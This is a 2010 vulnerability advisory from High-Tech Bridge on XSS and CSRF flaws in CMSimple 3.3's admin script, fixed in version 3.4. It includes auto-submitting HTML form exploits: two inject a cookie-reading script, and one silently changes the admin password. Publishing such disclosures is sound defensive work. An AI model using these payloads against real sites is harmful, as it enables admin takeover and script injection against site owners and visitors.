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Multiple Vulnerabilities in CMSimple

Advisory ID:HTB22558
Product:CMSimple
Vendor:Peter Andreas Harteg
Vulnerable Versions:3.3 and probably prior
Tested Version:3.3
Advisory Publication:August 2, 2010 [without technical details]
Vendor Notification:August 2, 2010
Public Disclosure:August 16, 2010
Latest Update:August 13, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Scores:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
4 (AV:N/AC:H/Au:N/C:N/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in CMSimple which could be exploited to perform cross-site scripting and cross-site request forgery attacks.


1) Cross-site scripting (XSS) vulnerabilities in CMSimple

The vulnerability exists due to input sanitation error in the "site_title" and "text" parameters in /cmsimple/adm.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.

Exploitation examples:
<form action="http://host/" method="post" name="main" >
<input type="hidden" name="security_password" value="test" />
<input type="hidden" name="security_type" value="page" />
<input type="hidden" name="site_title" value='CMSimple site"><script>alert(document.cookie)</script>' />
<input type="hidden" name="site_template" value="default" />
<input type="hidden" name="language_default" value="ru" />
<input type="hidden" name="meta_keywords" value="CMSimple, Content Management System, php" />
<input type="hidden" name="meta_description" value="CMSimple is a content management system" />
<input type="hidden" name="backup_numberoffiles" value="5" />
<input type="hidden" name="images_maxsize" value="150000" />
<input type="hidden" name="downloads_maxsize" value="1000000" />
<input type="hidden" name="mailform_email=" value="" />
<input type="hidden" name="editor_height" value="(screen.availHeight)-400" />
<input type="hidden" name="editor_external" value="" />
<input type="hidden" name="menu_color" value="000000" />
<input type="hidden" name="menu_highlightcolor" value="808080" />
<input type="hidden" name="menu_levels" value="3" />
<input type="hidden" name="menu_levelcatch" value="10" />
<input type="hidden" name="menu_sdoc" value="" />
<input type="hidden" name="menu_legal" value="CMSimple Legal Notices" />
<input type="hidden" name="uri_seperator" value=":" />
<input type="hidden" name="uri_length" value="200" />
<input type="hidden" name="xhtml_endtags" value="" />
<input type="hidden" name="xhtml_amp" value="true" />
<input type="hidden" name="plugins_folder" value="" />
<input type="hidden" name="functions_file" value="functions.php" />
<input type="hidden" name="scripting_regexp" value="\#CMSimple (.*?)\#" />
<input type="hidden" name="form" value="array" />
<input type="hidden" name="file" value="config" />
<input type="hidden" name="action" value="save" />
</form>
<script>
document.main.submit();
</script>

<form action="http://host/" method="post" name="main" >
<input type="hidden" name="text" value='php and html code of template<script>alert(document.cookie)</script>' />
<input type="hidden" name="file" value="template" />
<input type="hidden" name="action" value="save" />
</form>
<script>
document.main.submit();
</script>


2) Cross-site request forgery (CSRF) in CMSimple

The vulnerability exists due to insufficient validation of the request origin in cmsimple/adm.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and add create arbitrary publications.

Exploitation example:
<form action="http://host/" method="post" name="main" >
<input type="hidden" name="security_password" value="newpassword" />
<input type="hidden" name="security_type" value="page" />
<input type="hidden" name="site_title" value='CMSimple site' />
<input type="hidden" name="site_template" value="default" />
<input type="hidden" name="language_default" value="ru" />
<input type="hidden" name="meta_keywords" value="CMSimple, Content Management System, php" />
<input type="hidden" name="meta_description" value="CMSimple is a content management system" />
<input type="hidden" name="backup_numberoffiles" value="5" />
<input type="hidden" name="images_maxsize" value="150000" />
<input type="hidden" name="downloads_maxsize" value="1000000" />
<input type="hidden" name="mailform_email=" value="" />
<input type="hidden" name="editor_height" value="(screen.availHeight)-400" />
<input type="hidden" name="editor_external" value="" />
<input type="hidden" name="menu_color" value="000000" />
<input type="hidden" name="menu_highlightcolor" value="808080" />
<input type="hidden" name="menu_levels" value="3" />
<input type="hidden" name="menu_levelcatch" value="10" />
<input type="hidden" name="menu_sdoc" value="" />
<input type="hidden" name="menu_legal" value="CMSimple Legal Notices" />
<input type="hidden" name="uri_seperator" value=":" />
<input type="hidden" name="uri_length" value="200" />
<input type="hidden" name="xhtml_endtags" value="" />
<input type="hidden" name="xhtml_amp" value="true" />
<input type="hidden" name="plugins_folder" value="" />
<input type="hidden" name="functions_file" value="functions.php" />
<input type="hidden" name="scripting_regexp" value="\#CMSimple (.*?)\#" />
<input type="hidden" name="form" value="array" />
<input type="hidden" name="file" value="config" />
<input type="hidden" name="action" value="save" />
</form>
<script>
document.main.submit();
</script>


Solution:
Upgrade to version 3.4.


ImmuniWeb® by High-Tech Bridge


References:
[1] High-Tech Bridge Advisory HTB22558 - https://www.htbridge.com/advisory/HTB22558 - Multiple Vulnerabilities in CMSimple
[2] CMSimple- cmsimple.org - CMSimple is a simple content management system for smart maintainance of small commercial or private sites.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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